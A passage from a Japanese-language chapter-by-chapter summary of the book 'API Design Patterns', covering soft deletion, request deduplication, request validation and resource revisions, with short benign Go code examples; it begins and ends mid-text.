ソフト削除されたリソースのキャッシュ管理は複雑になる可能性があります。キャッシュの無効化戦略を適切に設計する必要があります。イベントソーシングとCQRS: ソフト削除は、イベントソーシングやCQRS(Command Query Responsibility Segregation)パターンと組み合わせることで、より強力になります。削除イベントを記録し、読み取りモデルを適切に更新することで、システムの柔軟性と一貫性を向上させることができます。結論第25章「Soft deletion」は、APIにおけるソフト削除の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、データの保全性、そして全体的なシステムの運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ソフト削除は、データの誤削除からの保護と復元可能性を提供する重要な機能です。標準的なCRUD操作、特に削除とリスト操作を適切に修正する必要があります。アンデリートと完全削除(Expunge)のための新しいカスタムメソッドが必要です。ソフト削除されたリソースの自動的な完全削除(エクスパイア)を管理するメカニズムが重要です。ソフト削除の導入には、ストレージ使用量の増加、パフォーマンスへの影響、複雑性の増加などのトレードオフがあります。これらの原則を適切に適用することで、開発者はより堅牢で柔軟性のあるAPIを設計することができます。特に、データの重要性が高いシステムや、複雑なデータ関係を持つシステムでは、ソフト削除の適切な実装が極めて重要です。しかし、ソフト削除の導入には慎重な検討も必要です。特に、パフォーマンス、ストレージ使用量、データの整合性、セキュリティとプライバシーの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、ソフト削除の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にデータの削除方法を変更するだけでなく、システム全体のデータライフサイクル管理、バックアップと復旧戦略、コンプライアンス対応、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。ソフト削除の適切な実装は、システムの回復力を高め、データ管理の柔軟性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。26 Request deduplication「API Design Patterns」の第26章「Request deduplication」は、APIにおけるリクエストの重複排除の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエストの重複排除が単なる最適化ではなく、APIの信頼性、一貫性、そして全体的なシステムの堅牢性にどのように影響を与えるかを明確に示しています。リクエスト重複排除の必要性と概要著者は、ネットワークの不確実性から議論を始めています。現代のシステム、特にクラウドネイティブな環境やモバイルアプリケーションにおいて、ネットワークの信頼性は常に課題となります。リクエストが失敗した場合、クライアントは通常リトライを行いますが、これが意図しない副作用を引き起こす可能性があります。特に非べき等なメソッド(例えば、リソースの作成や更新)では、同じ操作が複数回実行されることで、データの整合性が損なわれる可能性があります。この問題に対処するため、著者はリクエスト識別子(request identifier)の使用を提案しています。これは、クライアントが生成する一意の識別子で、APIサーバーはこの識別子を使用して重複リクエストを検出し、適切に処理します。この概念は、マイクロサービスアーキテクチャにおいて特に重要です。複数のサービスが協調して動作する環境では、一つのリクエストの失敗が連鎖的な影響を及ぼす可能性があります。リクエストの重複排除を適切に実装することで、システム全体の一貫性と信頼性を向上させることができます。著者は、リクエスト重複排除の基本的な流れを以下のように提案しています。クライアントがリクエスト識別子を含むリクエストを送信する。サーバーは識別子をチェックし、以前に処理されたかどうかを確認する。新しいリクエストの場合は通常通り処理し、結果をキャッシュする。重複リクエストの場合は、キャッシュされた結果を返す。この方法により、ネットワークの不確実性に起因する問題を軽減しつつ、クライアントに一貫した応答を提供することができます。リクエスト重複排除の実装著者は、リクエスト重複排除の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。リクエスト識別子: クライアントが生成する一意の文字列。これは通常、UUIDやその他のランダムな文字列が使用されます。レスポンスのキャッシング: 処理されたリクエストの結果をキャッシュし、同じ識別子で再度リクエストがあった場合に使用します。一貫性の維持: キャッシュされた応答は、その後のデータの変更に関わらず、元のリクエスト時点の状態を反映する必要があります。衝突の管理: リクエスト識別子の衝突(異なるリクエストに同じ識別子が使用される場合)に対処するため、リクエストの内容も併せてチェックする必要があります。キャッシュの有効期限: キャッシュされた応答に適切な有効期限を設定し、メモリ使用量を管理します。これらの原則を適用した、Golangでのリクエスト重複排除の実装例を以下に示します。type RequestWithID struct { ID string `json:\\"requestId\\"` Payload interface{} `json:\\"payload\\"`}type ResponseCache struct { sync.RWMutex cache map[string]cachedResponse}type cachedResponse struct { response interface{} contentHash string expireTime time.Time}func (rc *ResponseCache) Process(req RequestWithID, processor func(interface{}) (interface{}, error)) (interface{}, error) { rc.RLock() cached, exists := rc.cache[req.ID] rc.RUnlock() if exists { contentHash := calculateHash(req.Payload) if contentHash != cached.contentHash { return nil, errors.New(\\"request ID collision detected\\") } return cached.response, nil } response, err := processor(req.Payload) if err != nil { return nil, err } rc.Lock() rc.cache[req.ID] = cachedResponse{ response: response, contentHash: calculateHash(req.Payload), expireTime: time.Now().Add(5 * time.Minute), } rc.Unlock() return response, nil}この実装例では、リクエスト識別子とペイロードを含むRequestWithID構造体を定義し、ResponseCache構造体でキャッシュを管理しています。Processメソッドは、重複チェック、キャッシュの取得または更新、そして実際の処理を行います。また、リクエスト識別子の衝突を検出するため、ペイロードのハッシュも併せて保存しています。リクエスト重複排除の影響とトレードオフ著者は、リクエスト重複排除の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。メモリ使用量: キャッシュの導入により、メモリ使用量が増加します。適切なキャッシュ有効期限の設定が重要です。一貫性と鮮度のバランス: キャッシュされた応答は、最新のデータ状態を反映していない可能性があります。これは、クライアントの期待と一致しない場合があります。複雑性の増加: リクエスト重複排除の実装は、APIの複雑性を増加させます。これは、開発とデバッグの難しさを増す可能性があります。パフォーマンスへの影響: キャッシュのチェックと管理にはオーバーヘッドがありますが、重複リクエストの処理を回避することでパフォーマンスが向上する可能性もあります。分散システムにおける課題: マイクロサービスアーキテクチャなどの分散システムでは、キャッシュの一貫性維持が複雑になります。これらのトレードオフを適切に管理することが、リクエスト重複排除の成功的な実装の鍵となります。例えば、キャッシュのパフォーマンスと一貫性のバランスを取るために、キャッシュ戦略を慎重に設計する必要があります。また、分散キャッシュシステム(例:Redis)の使用を検討し、マイクロサービス間でキャッシュを共有することも有効な戦略です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。耐障害性の向上: リクエスト重複排除は、ネットワークの一時的な障害やクライアントの予期せぬ動作に対するシステムの耐性を高めます。これは特に、金融取引や重要なデータ更新を扱うシステムで重要です。イベント駆動アーキテクチャとの統合: リクエスト重複排除は、イベント駆動アーキテクチャにおいても重要です。例えば、メッセージキューを使用するシステムで、メッセージの重複処理を防ぐために同様の技術を適用できます。グローバルユニーク識別子の生成: クライアント側でのユニークな識別子生成は、分散システムにおける重要な課題です。UUIDv4やULIDなどの効率的で衝突の可能性が低い識別子生成アルゴリズムの使用を検討すべきです。監視とオブザーバビリティ: リクエスト重複排除の効果を測定し、システムの挙動を理解するために、適切な監視とロギングが不可欠です。重複リクエストの頻度、キャッシュヒット率、識別子の衝突回数などの指標を追跡することで、システムの健全性を評価できます。セキュリティの考慮: リクエスト識別子の予測可能性や操作可能性に注意を払う必要があります。悪意のあるユーザーが識別子を推測または再利用することで、システムを悪用する可能性があります。キャッシュ戦略の最適化: キャッシュのパフォーマンスと鮮度のバランスを取るために、階層的キャッシュやキャッシュの事前読み込みなどの高度な技術を検討することができます。バージョニングとの統合: APIのバージョニング戦略とリクエスト重複排除メカニズムを統合する方法を考慮する必要があります。新しいバージョンのAPIで重複排除の実装が変更された場合、古いバージョンとの互換性をどのように維持するかを検討しなければなりません。リクエスト重複排除とシステムアーキテクチャリクエスト重複排除の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。分散キャッシュシステム: マイクロサービスアーキテクチャにおいては、中央集権的なキャッシュシステム(例:Redis)の使用を検討する必要があります。これにより、異なるサービス間でキャッシュ情報を共有し、システム全体の一貫性を維持できます。非同期処理との統合: 長時間実行される操作や非同期処理を含むシステムでは、リクエスト重複排除メカニズムをより慎重に設計する必要があります。例えば、処理の開始時点でキャッシュエントリを作成し、処理の完了時に更新するなどの戦略が考えられます。フォールバック戦略: キャッシュシステムの障害に備えて、適切なフォールバック戦略を実装する必要があります。例えば、キャッシュが利用できない場合は、一時的に重複排除を無効にし、代わりにべき等性を保証する他の方法を使用するなどです。キャッシュの整合性維持: 分散システムにおいては、キャッシュの整合性を維持することが課題となります。イベントソーシングやCQRSなどのパターンを使用して、キャッシュの更新と実際のデータ更新を同期させる方法を検討する必要があります。スケーラビリティの考慮: リクエスト重複排除メカニズムがシステムのスケーラビリティのボトルネックにならないよう注意が必要です。負荷分散されたシステムでは、キャッシュの分散や複製を適切に設計する必要があります。結論第26章「Request deduplication」は、APIにおけるリクエスト重複排除の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの信頼性、一貫性、そして全体的なシステムの堅牢性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト重複排除は、ネットワークの不確実性に起因する問題を軽減し、非べき等な操作の安全性を向上させる重要なメカニズムです。クライアント生成のユニークな識別子と、サーバー側でのレスポンスキャッシングが、この実装の核心となります。キャッシュの一貫性、識別子の衝突管理、適切なキャッシュ有効期限の設定が、実装上の重要な考慮点となります。リクエスト重複排除の導入には、メモリ使用量の増加、複雑性の増加、一貫性と鮮度のバランスなどのトレードオフがあります。分散システムやマイクロサービスアーキテクチャにおいては、キャッシュの一貫性維持と分散が特に重要な課題となります。これらの原則を適切に適用することで、開発者はより信頼性が高く、一貫性のあるAPIを設計することができます。特に、ネットワークの信頼性が低い環境や、重要なデータ更新を扱うシステムでは、リクエスト重複排除の適切な実装が極めて重要です。しかし、リクエスト重複排除の導入には慎重な検討も必要です。特に、パフォーマンス、メモリ使用量、システムの複雑性の増加、セキュリティの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト重複排除の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリクエストの重複を防ぐだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト重複排除の適切な実装は、システムの回復力を高め、データの整合性を保護し、ユーザー体験を向上させる可能性があります。特に、マイクロサービスアーキテクチャやクラウドネイティブな環境では、この機能の重要性がより顕著になります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。さらに、リクエスト重複排除メカニズムは、システムの可観測性と運用性の向上にも貢献します。適切に実装されたリクエスト重複排除システムは、重複リクエストの頻度、パターン、原因に関する貴重な洞察を提供し、システムの挙動やネットワークの信頼性に関する問題を早期に検出することを可能にします。これらの情報は、システムの最適化や問題のトラブルシューティングに非常に有用です。最後に、リクエスト重複排除の実装は、APIの設計哲学と密接に関連しています。這いはクライアントとサーバーの責任分担、エラー処理戦略、リトライポリシーなど、APIの基本的な設計原則に影響を与えます。したがって、リクエスト重複排除メカニズムの導入を検討する際は、APIの全体的な設計哲学との整合性を慎重に評価し、必要に応じて調整を行うことが重要です。このような包括的なアプローチを取ることで、リクエスト重複排除は単なる技術的な解決策を超え、システム全体の品質と信頼性を向上させる重要な要素となります。API設計者とシステムアーキテクトは、この機能の重要性を認識し、適切に実装することで、より堅牢で効率的、そして信頼性の高いシステムを構築することができるでしょう。27 Request validation「API Design Patterns」の第27章「Request validation」は、APIにおけるリクエスト検証の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエスト検証が単なる便利機能ではなく、APIの安全性、信頼性、そして全体的なユーザー体験にどのように影響を与えるかを明確に示しています。リクエスト検証の必要性と概要著者は、APIの複雑さとそれに伴う誤用のリスクから議論を始めています。最も単純に見えるAPIでさえ、その内部動作は複雑であり、ユーザーが意図した通りに動作するかどうかを事前に確認することは困難です。特に、本番環境で未検証のリクエストを実行することのリスクは高く、著者はこれを車の修理に例えています。素人が車をいじることで深刻な問題を引き起こす可能性があるのと同様に、未検証のAPIリクエストは本番システムに予期せぬ影響を与える可能性があります。この問題に対処するため、著者はvalidateOnlyフィールドの導入を提案しています。これは、リクエストを実際に実行せずに検証のみを行うためのフラグです。この機能により、ユーザーは安全にリクエストの結果をプレビューし、潜在的な問題を事前に把握することができます。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが相互に依存し合う複雑なシステムでは、一つの誤ったリクエストが連鎖的に問題を引き起こす可能性があります。リクエスト検証を適切に実装することで、このようなリスクを大幅に軽減し、システム全体の安定性と信頼性を向上させることができます。著者は、リクエスト検証の基本的な流れを以下のように提案しています。クライアントがvalidateOnly: trueフラグを含むリクエストを送信する。サーバーはリクエストを通常通り処理するが、実際のデータ変更や副作用を伴う操作は行わない。サーバーは、実際のリクエストが行われた場合と同様のレスポンスを生成し、返却する。この方法により、ユーザーは安全にリクエストの結果をプレビューし、潜在的な問題(権限不足、データの不整合など)を事前に把握することができます。リクエスト検証の実装著者は、リクエスト検証の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。validateOnlyフラグ: リクエストオブジェクトにオプションのブーリアンフィールドとして追加します。デフォルトはfalseであるべきです。検証の範囲: 可能な限り多くの検証を行うべきです。これには、権限チェック、データの整合性チェック、参照整合性チェックなどが含まれます。外部依存関係の扱い: 外部サービスとの通信が必要な場合、それらのサービスが検証モードをサポートしていない限り、その部分の検証は省略する必要があります。レスポンスの生成: 実際のリクエストと同様のレスポンスを生成すべきです。ただし、サーバー生成の識別子などの一部のフィールドは空白または仮の値で埋める必要があります。安全性とべき等性: 検証リクエストは常に安全(データを変更しない)かつべき等(同じリクエストで常に同じ結果を返す)であるべきです。これらの原則を適用した、Golangでのリクエスト検証の実装例を以下に示します。type CreateChatRoomRequest struct { Resource ChatRoom `json:\\"resource\\"` ValidateOnly bool `json:\\"validateOnly,omitempty\\"`}func (s *Service) CreateChatRoom(ctx context.Context, req CreateChatRoomRequest) (*ChatRoom, error) { if err := s.validateCreateChatRoom(ctx, req); err != nil { return nil, err } if req.ValidateOnly { return &ChatRoom{ ID: \\"placeholder-id\\", Name: req.Resource.Name, // その他のフィールド }, nil } // 実際のリソース作成ロジック return s.actuallyCreateChatRoom(ctx, req.Resource)}func (s *Service) validateCreateChatRoom(ctx context.Context, req CreateChatRoomRequest) error { // 権限チェック if err := s.checkPermissions(ctx, \\"create_chat_room\\"); err != nil { return err } // データ検証 if err := validateChatRoomData(req.Resource); err != nil { return err } // 外部依存関係のチェック(可能な場合) // ... return nil}この実装例では、validateOnlyフラグに基づいて実際の処理を行うかどうかを制御しています。検証フェーズは常に実行され、エラーがある場合は早期に返却されます。検証モードの場合、実際のリソース作成は行わず、プレースホルダーのレスポンスを返します。リクエスト検証の影響とトレードオフ著者は、リクエスト検証の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。複雑性の増加: リクエスト検証機能の追加は、APIの複雑性を増加させます。これは、実装とテストの負担を増やす可能性があります。パフォーマンスへの影響: 検証リクエストは、実際の処理を行わないため一般的に高速ですが、大量の検証リクエストがあった場合、システムに負荷をかける可能性があります。外部依存関係の扱い: 外部サービスとの連携が必要な場合、完全な検証が難しくなる可能性があります。これは、システムの一部の動作を正確に予測できなくなることを意味します。不確定な結果の扱い: ランダム性や時間依存の処理を含むリクエストの検証は、実際の結果を正確に予測することが難しい場合があります。これらのトレードオフを適切に管理することが、リクエスト検証の成功的な実装の鍵となります。例えば、外部依存関係の扱いについては、モックやスタブを使用して可能な限り現実的な検証を行うことが考えられます。また、不確定な結果については、可能な結果の範囲を示すなど、ユーザーに適切な情報を提供することが重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。リスク管理とコスト削減: リクエスト検証は、本番環境での不適切なリクエストによるリスクを大幅に軽減します。これは、特に金融系のAPIや重要なデータを扱うシステムで非常に重要です。開発効率の向上: 開発者がAPIの動作を事前に確認できることで、開発サイクルが短縮され、品質が向上します。これは、特に複雑なマイクロサービス環境で重要です。ドキュメンテーションの補完: リクエスト検証は、動的なドキュメンテーションの一形態と見なすこともできます。開発者は、APIの動作を実際に試すことで、ドキュメントだけでは分かりにくい細かな挙動を理解できます。セキュリティの強化: 検証モードを使用することで、潜在的な脆弱性や不適切なアクセス試行を事前に発見できる可能性があります。これは、セキュリティ監査の一部として活用できます。運用の簡素化: 本番環境での問題を事前に回避できることで、インシデント対応の頻度が減少し、運用負荷が軽減されます。段階的なデプロイメント戦略との統合: 新機能のロールアウト時に、検証モードを活用して潜在的な問題を早期に発見することができます。これは、カナリアリリースやブルー/グリーンデプロイメントなどの戦略と組み合わせて効果的です。リクエスト検証とシステムアーキテクチャリクエスト検証の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。マイクロサービスアーキテクチャでの実装: 複数のサービスにまたがるリクエストの検証は、特に注意が必要です。サービス間の依存関係を考慮し、整合性のある検証結果を提供する必要があります。キャッシュ戦略: 検証リクエストの結果をキャッシュすることで、パフォーマンスを向上させることができます。ただし、キャッシュの有効期限や更新戦略を慎重に設計する必要があります。非同期処理との統合: 長時間実行される操作や非同期処理を含むシステムでは、検証モードの動作を慎重に設計する必要があります。例えば、非同期処理の予測される結果をシミュレートする方法を考える必要があります。モニタリングと可観測性: 検証リクエストの使用パターンや頻度を監視することで、APIの使用状況や潜在的な問題をより深く理解できます。これらの指標は、システムの最適化やユーザビリティの向上に活用できます。テスト戦略: リクエスト検証機能自体もテストの対象となります。特に、実際の処理と検証モードの結果の一貫性を確保するためのテスト戦略が重要です。結論第27章「Request validation」は、APIにおけるリクエスト検証の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの安全性、信頼性、そして全体的なユーザー体験を大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト検証は、APIの複雑さに起因するリスクを軽減する重要なメカニズムです。validateOnlyフラグを使用することで、ユーザーは安全にリクエストの結果をプレビューできます。検証リクエストは、可能な限り実際のリクエストと同様の処理を行いますが、データの変更や副作用を伴う操作は避けるべきです。外部依存関係や不確定な結果を含むリクエストの検証には特別な配慮が必要です。リクエスト検証の導入には、複雑性の増加やパフォーマンスへの影響などのトレードオフがありますが、それらを上回る価値を提供する可能性があります。これらの原則を適切に適用することで、開発者はより安全で信頼性の高いAPIを設計することができます。特に、重要なデータを扱うシステムや複雑なマイクロサービスアーキテクチャを採用している環境では、リクエスト検証の適切な実装が極めて重要です。しかし、リクエスト検証の導入には慎重な検討も必要です。特に、パフォーマンス、複雑性の管理、外部依存関係の扱いなどの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト検証の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリクエストの安全性を向上させるだけでなく、システム全体の信頼性、運用効率、そして開発生産性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト検証の適切な実装は、システムの回復力を高め、開発サイクルを短縮し、ユーザー体験を向上させる可能性があります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で使いやすいシステムを構築することができるでしょう。特に、急速に変化するビジネス要件や複雑な技術スタックを持つ現代のソフトウェア開発環境において、リクエスト検証は重要な役割を果たす可能性があります。最後に、リクエスト検証は単なる技術的な機能ではなく、APIの設計哲学を反映するものでもあります。これは、ユーザーフレンドリーなインターフェース、透明性、そして予測可能性への commitment を示しています。適切に実装されたリクエスト検証機能は、API提供者とその消費者の間の信頼関係を強化し、より効果的なコラボレーションを促進します。この機能は、「フェイルファスト」の原則とも整合しており、問題を早期に発見し、修正するための強力なツールとなります。開発者は、本番環境に変更をデプロイする前に、その影響を安全に評価することができます。これにより、イテレーションのサイクルが短縮され、イノベーションのペースが加速する可能性があります。また、リクエスト検証は、APIのバージョニングや進化の戦略とも密接に関連しています。新しいバージョンのAPIをリリースする際、開発者は検証モードを使用して、既存のクライアントへの影響を事前に評価することができます。これにより、破壊的な変更のリスクを最小限に抑えつつ、APIを継続的に改善することが可能になります。さらに、この機能は、APIの教育的側面も持っています。開発者は、検証モードを通じてAPIの動作を実験的に学ぶことができ、これがドキュメントを補完する動的な学習ツールとなります。これは、API の採用を促進し、正しい使用法を奨励することにつながります。最終的に、リクエスト検証の実装は、API設計者がユーザーの視点に立ち、その経験を常に考慮していることを示す象徴的な機能と言えるでしょう。これは、単に機能を提供するだけでなく、ユーザーの成功を積極的に支援するという、より広範なAPI設計哲学の一部となります。このような包括的なアプローチを取ることで、リクエスト検証は単なる技術的機能を超え、APIの品質、信頼性、そして全体的な価値を大きく向上させる重要な要素となります。API設計者とシステムアーキテクトは、この機能の重要性を認識し、適切に実装することで、より使いやすく、信頼性が高く、そして継続的な進化が可能なAPIを構築することができるでしょう。これは、急速に変化し、常に新しい課題が生まれる現代のソフトウェア開発環境において、特に重要な価値となります。28 Resource revisions「API Design Patterns」の第28章「Resource revisions」は、APIにおけるリソースのリビジョン管理の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリソースリビジョンが単なる機能の追加ではなく、APIの柔軟性、データの整合性、そして全体的なシステムの運用性にどのように影響を与えるかを明確に示しています。この章では、リソースの変更履歴を安全に保存し、過去の状態を取得または復元する方法について説明しています。具体的には、個々のリビジョンの識別方法、リビジョンの作成戦略(暗黙的または明示的)、利用可能なリビジョンのリスト化と特定のリビジョンの取得方法、以前のリビジョンへの復元の仕組み、そしてリビジョン可能なリソースの子リソースの扱い方について詳しく解説しています。リソースリビジョンの必要性と概要著者は、リソースリビジョンの必要性から議論を始めています。多くのAPIでは、リソースの現在の状態のみを保持し、過去の変更履歴を無視しています。しかし、契約書、購買注文書、法的文書、広告キャンペーンなどのリソースでは、変更履歴を追跡する必要性が高くなります。これにより、問題が発生した際に、どの変更が原因であるかを特定しやすくなります。リソースリビジョンの概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが協調して動作する環境では、各サービスが管理するリソースの変更履歴を適切に追跡し、必要に応じて過去の状態を参照または復元できることが、システム全体の一貫性と信頼性を確保する上で重要になります。著者は、リソースリビジョンの基本的な構造として、既存のリソースに2つの新しいフィールドを追加することを提案しています。revisionId: リビジョンの一意の識別子revisionCreateTime: リビジョンが作成された時刻これらのフィールドを追加することで、リソースの複数のスナップショットを時系列で管理できるようになります。これにより、リソースの変更履歴を追跡し、必要に応じて過去の状態を参照または復元することが可能になります。この概念を視覚的に表現するために、著者は以下のような図を提示しています。Figure 28.1 Adding support for revisions to a Message resourceこの図は、通常のMessageリソースにrevisionIdとrevisionCreateTimeフィールドを追加することで、リビジョン管理をサポートする方法を示しています。リソースリビジョンの実装著者は、リソースリビジョンの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。リビジョン識別子: リビジョンの一意性を確保するために、ランダムな識別子(例:UUID)を使用することを推奨しています。これにより、リビジョンの順序や時間に依存せずに、各リビジョンを一意に識別できます。リビジョンの作成戦略: 著者は、暗黙的なリビジョン作成(リソースが変更されるたびに自動的に新しいリビジョンを作成)と明示的なリビジョン作成(ユーザーが明示的にリビジョンの作成を要求)の2つの戦略を提案しています。各アプローチにはそれぞれ長所と短所があり、システムの要件に応じて選択する必要があります。リビジョンの取得と一覧表示: 特定のリビジョンを取得するためのメソッドと、利用可能なリビジョンを一覧表示するためのメソッドの実装について説明しています。これらのメソッドにより、ユーザーはリソースの変更履歴を参照し、必要に応じて特定の時点の状態を取得できます。リビジョンの復元: 以前のリビジョンの状態にリソースを戻すための復元操作の実装方法を解説しています。この操作は、誤った変更を元に戻したり、特定の時点の状態に戻したりする際に重要です。子リソースの扱い: リビジョン可能なリソースが子リソースを持つ場合の取り扱いについても議論しています。子リソースをリビジョンに含めるかどうかは、システムの要件やパフォーマンスの考慮事項に応じて決定する必要があります。これらの原則を適用した、Golangでのリソースリビジョンの実装例を以下に示します。type Resource struct { ID string `json:\\"id\\"` Content string `json:\\"content\\"` RevisionID string `json:\\"revisionId\\"` RevisionCreateTime time.Time `json:\\"revisionCreateTime\\"`}type ResourceService interface { GetResource(ctx context.Context, id string, revisionID string) (*Resource, error) ListResourceRevisions(ctx context.Context, id string) ([]*Resource, error) CreateResourceRevision(ctx context.Context, id string) (*Resource, error) RestoreResourceRevision(ctx context.Context, id string, revisionID string) (*Resource, error)}func (s *resourceService) CreateResourceRevision(ctx context.Context, id string) (*Resource, error) { resource, err := s.getLatestResource(ctx, id) if err != nil { return nil, err } newRevision := &Resource{ ID: resource.ID, Content: resource.Content, RevisionID: generateUUID(), RevisionCreateTime: time.Now(), } if err := s.saveRevision(ctx, newRevision); err != nil { return nil, err } return newRevision, nil}この実装例では、Resource構造体にリビジョン関連のフィールドを追加し、ResourceServiceインターフェースでリビジョン管理に関連するメソッドを定義しています。CreateResourceRevisionメソッドは、新しいリビジョンを作成し、保存する処理を示しています。リソースリビジョンの影響とトレードオフ著者は、リソースリビジョンの導入がシステム全体に与える影響とトレードオフについても詳細に論じています。ストレージ使用量の増加: リビジョンを保存することで、ストレージの使用量が大幅に増加します。特に、頻繁に変更されるリソースや大規模なリソースの場合、この影響は無視できません。パフォーマンスへの影響: リビジョンの作成や取得には追加のオーバーヘッドが発生します。特に、大量のリビジョンが存在する場合、リビジョンの一覧表示や特定のリビジョンの取得に時間がかかる可能性があります。複雑性の増加: リビジョン管理機能の追加により、APIの複雑性が増加します。これは、開発者の学習曲線を急にし、バグの可能性を増やす可能性があります。一貫性の課題: 特に分散システムにおいて、リビジョンの一貫性を維持することは難しい場合があります。例えば、複数のサービスにまたがるリソースの場合、全体的な一貫性を確保するのが困難になる可能性があります。リビジョン管理のオーバーヘッド: リビジョンの保持期間、古いリビジョンの削除ポリシー、リビジョン数の制限など、追加的な管理タスクが発生します。これらのトレードオフを適切に管理することが、リソースリビジョンの成功的な実装の鍵となります。例えば、ストレージ使用量の増加に対しては、圧縮技術の使用や、重要でないリビジョンの定期的な削除などの戦略が考えられます。パフォーマンスへの影響に関しては、効率的なインデックス設計や、必要に応じてキャッシュを活用することで軽減できる可能性があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。監査とコンプライアンス: リソースリビジョンは、変更履歴の追跡が必要な規制環境(金融サービス、医療情報システムなど)で特に重要です。変更の誰が、いつ、何をしたかを正確に記録し、必要に応じて過去の状態を再現できることは、コンプライアンス要件を満たす上で不可欠です。障害復旧とロールバック: リビジョン管理は、システム障害や人為的ミスからの復旧を容易にします。特定の時点の状態に戻すことができるため、データの損失やシステムの不整合を最小限に抑えることができます。分散システムでの一貫性: マイクロサービスアーキテクチャにおいて、リソースリビジョンは分散システム全体の一貫性を維持する上で重要な役割を果たします。例えば、複数のサービスにまたがるトランザクションを、各サービスのリソースリビジョンを用いて追跡し、必要に応じて補償トランザクションを実行することができます。A/Bテストと段階的ロールアウト: リビジョン管理機能は、新機能の段階的なロールアウトやA/Bテストの実施を容易にします。特定のユーザーグループに対して特定のリビジョンを提供することで、変更の影響を慎重に評価できます。パフォーマンス最適化: リビジョン管理の実装には、効率的なデータ構造とアルゴリズムの選択が重要です。例えば、差分ベースのストレージを使用して、リビジョン間の変更のみを保存することで、ストレージ使用量を最適化できます。セキュリティとアクセス制御: リビジョン管理を導入する際は、各リビジョンへのアクセス制御を適切に設計する必要があります。特に、機密情報を含むリビジョンへのアクセスを制限し、監査ログを維持することが重要です。APIの進化とバージョニング: リソースリビジョンの概念は、APIそのもののバージョニング戦略と関連付けて考えることができます。APIの各バージョンを、特定の時点でのリソース定義のリビジョンとして扱うことで、APIの進化をより体系的に管理できる可能性があります。リソースリビジョンとシステムアーキテクチャリソースリビジョンの設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: リビジョン管理をサポートするために、データベーススキーマの設計を適切に行う必要があります。例えば、メインのリソーステーブルとは別にリビジョンテーブルを作成し、効率的にクエリできるようにインデックスを設計することが重要です。キャッシュ戦略: リビジョン管理は、キャッシュ戦略に影響を与えます。特定のリビジョンをキャッシュする場合、キャッシュの有効期限や更新戦略を慎重に設計する必要があります。イベントソーシングとCQRS: リソースリビジョンの概念は、イベントソーシングやCQRS(Command Query Responsibility Segregation)パターンと親和性が高いです。これらのパターンを組み合わせることで、より柔軟で拡張性の高いシステムを構築できる可能性があります。バックアップと災害復旧: リビジョン管理機能は、バックアップと災害復旧戦略に組み込むことができます。特定の時点のシステム全体の状態を、各リソースの適切なリビジョンを用いて再構築することが可能になります。マイクロサービス間の整合性: 複数のマイクロサービスにまたがるリソースの場合、リビジョン管理を通じてサービス間の整合性を維持することができます。例えば、分散トランザクションの代わりに、各サービスのリソースリビジョンを用いた補償トランザクションを実装することが考えられます。結論第28章「Resource 